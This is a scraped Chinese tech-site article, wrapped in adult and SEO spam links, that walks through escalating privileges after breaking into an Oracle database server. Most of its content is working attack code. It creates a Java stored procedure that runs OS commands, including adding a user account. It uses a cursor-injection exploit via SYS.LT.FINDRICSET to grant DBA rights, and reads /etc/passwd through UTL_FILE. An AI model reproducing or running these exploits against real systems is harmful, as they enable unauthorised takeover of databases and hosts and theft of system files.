成人免费xxxxx在线视频软件_久久精品久久久_亚洲国产精品久久久_天天色天天色_亚洲人成一区_欧美一级欧美三级在线观看

Oracle服務器入如何進一步獲取想過關權限

數據庫 Oracle
我們今天主要和大家一起分享的是入侵Oracle服務器是如何進一步獲取想過關權限,以下的文章就是其實際相關操作的具體介紹。

以下的文章主要介紹的是入侵Oracle服務器的進一步獲取想過關權限,我們可以很快的連接上Oracle數據庫服務器,此時你會發現:以下的幾種情況,即,連接后不是dba權限,還有不能利用SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES漏洞提升權限。

還有的一種情況就是運行SELECT UTL_HTTP.request(‘http://xxxxxxxxxxx/login.jsp’) FROM dual 后發現Oracle服務器不能連接網絡。

幸運的是,

運行

 

  1. create or replace function Linx_Query (p varchar2) 
    return number authid current_user is begin execute immediate p; return 1;end; 

成功!這個用戶具有create proceduce權限。

此時馬上想到創建java擴展執行命令:

 

  1. create or replace and compile java source named “LinxUtil” as import java.io.*; 
    public class LinxUtil extends Object {public static String runCMD(String args) 
    {try{BufferedReader 
    myReadernew BufferedReader
    (new InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); 
    String stemp,
    str=”";while ((stemp = myReader.readLine()) != null) str +=stemp+” 
    “;myReader.close();return str;} catch (Exception e){return e.toString();}}}  
  2. begin dbms_java.grant_permission(‘PUBLIC’, ‘SYS:java.io.FilePermission’, ‘<>’, ‘execute’ );end;  
  3. create or replace function LinxRunCMD(p_cmd in varchar2) return varchar2 as language java name 
    ‘LinxUtil.runCMD(java.lang.String) return String’  
  4. select * from all_objects where object_name like ‘%LINX%’  
  5. grant all on LinxRunCMD to public  
  6. select LinxRunCMD(‘cmd /c net user linx /add’) from dual  

 

但是在第一步就卡住了,Oracle服務器由于某種未知原因 不能創建java擴展!!

還好,我們還有UTL庫可以利用:

 

  1. create or replace function LinxUTLReadfile 
    (filename varchar2) return varchar2 is  
  2. fHandler UTL_FILE.FILE_TYPE;  
  3. buf varchar2(4000);  
  4. output varchar2(8000);  
  5. BEGIN  
  6. fHandler :UTL_FILE.FOPEN(‘UTL_FILE_DIR’, filename, ‘r’);  
  7. loop  
  8. begin  
  9. utl_file.get_line(fHandler,buf);  
  10. DBMS_OUTPUT.PUT_LINE(‘Cursor: ‘||buf);  
  11. exception  
  12. when no_data_found then exit;  
  13. end;  
  14. output :output||buf||chr(10);  
  15. end loop;  
  16. UTL_FILE.FCLOSE(fHandler);  
  17. return output;  
  18. END;  

 

UTL_FILE_DIR需要先用:

 

  1. CREATE OR REPLACE DIRECTORY UTL_FILE_DIR AS ‘/etc’; 

指定目。但運行后發現沒有權限。只好想辦法提權。

游標注射

老外寫了N個pdf介紹這技術,我精簡了代碼:

 

  1. DECLARE  
  2. MYC NUMBER;  
  3. BEGIN  
  4. MYC :DBMS_SQL.OPEN_CURSOR;  
  5. DBMS_SQL.PARSE(MYC,’declare pragma autonomous_transaction; 
    begin execute immediate ”GRANT DBA TO linxlinx_current_db_user”;commit;end;’,0);  
  6. DBMS_OUTPUT.PUT_LINE(‘Cursor: ‘||MYC);  
  7. BEGIN SYS.LT.FINDRICSET(‘.”||dbms_sql.execute( ‘||MYC||’ )||””)–’,'x’); END;  
  8. raise NO_DATA_FOUND;  
  9. EXCEPTION  
  10. WHEN NO_DATA_FOUND THEN DBMS_OUTPUT.PUT_LINE(‘Cursor: ‘||MYC);  
  11. WHEN OTHERS THEN DBMS_OUTPUT.PUT_LINE(‘Cursor: ‘||MYC);  
  12. END;   

 

運行后重新連接就有dba權限了,簡單吧……

現在可以讀取文件了:

 

  1. CREATE OR REPLACE DIRECTORY UTL_FILE_DIR AS ‘/etc’;  
  2. select LinxUTLReadfile(‘passwd’) from dual  

 

后面就簡單了,不寫了。 以上的相關內容就是對入侵Oracle服務器進一步獲取權限的介紹,望你能有所收獲。

【編輯推薦】

  1. Oracle數據庫的類型LONG功能的介紹
  2. Oracle查詢優化4大方面的主要途徑
  3. Oracle用戶的相關授權和管理的分析
  4. Oracle 外鍵的相關約束中級聯刪除的方案
  5. Oracle 數據庫的各種不同版本的差別
責任編輯:佚名 來源: 互聯網
相關推薦

2010-04-14 16:11:09

Oracle服務器

2022-01-04 13:21:30

穩定幣加密貨幣貨幣

2009-12-28 10:08:07

OracleSQLDevelope開發框架

2021-04-05 18:06:36

谷歌安卓Google Play

2010-03-01 15:50:45

2011-07-27 12:58:43

Android MarAndroid應用商店

2011-07-29 15:02:22

LifeSize視頻協作

2020-12-10 20:00:04

數字貨幣比特幣區塊鏈

2019-03-22 10:20:39

加速Windows 10啟動

2023-09-01 18:20:43

Chrome代碼測試版

2020-11-13 12:24:10

Google

2022-02-21 10:37:32

數字人民幣北京冬奧會

2013-10-17 17:29:38

華為ICT華為

2017-05-28 12:09:07

CDNIPTV運營商

2023-12-20 09:55:51

雷達傳感器算法

2009-08-26 14:48:05

C#委托與事件

2024-05-10 15:09:34

2010-03-15 09:40:19

Windows 8研發

2015-10-19 14:57:51

2009-11-30 18:35:05

BizSparkDreamSparkWebSiteSpar
點贊
收藏

51CTO技術棧公眾號

主站蜘蛛池模板: 亚洲精选一区二区 | 在线观看中文视频 | 欧美一级在线 | 亚洲一区免费 | 亚洲成av人片在线观看 | 精品国产1区2区3区 一区二区手机在线 | 中文字幕亚洲精品 | 天天综合网永久 | 欧美一区二区免费 | 粉嫩一区二区三区四区公司1 | 欧美日韩免费在线 | 最新中文字幕在线 | av看片网站 | 国产在线麻豆精品入口 | 久久久一二三 | 久久一视频 | www国产亚洲精品久久网站 | 好姑娘高清在线观看电影 | www.色.com| 久久久久国产精品www | 成年人免费在线视频 | 久久精品一区二区视频 | 国内av在线 | 91免费电影 | 精品一区二区在线看 | 欧美三级久久久 | 国产夜恋视频在线观看 | 亚洲精品中文字幕 | 精品久久99| 人人性人人性碰国产 | 国产婷婷在线视频 | 久久黄色网 | 欧美日韩一二三区 | 国产免费拔擦拔擦8x高清 | 99riav国产一区二区三区 | 日韩精品一区二区三区中文在线 | 天天看片天天干 | 亚洲欧美日韩一区二区 | 欧美成年网站 | 91久久视频| 国产在线区 |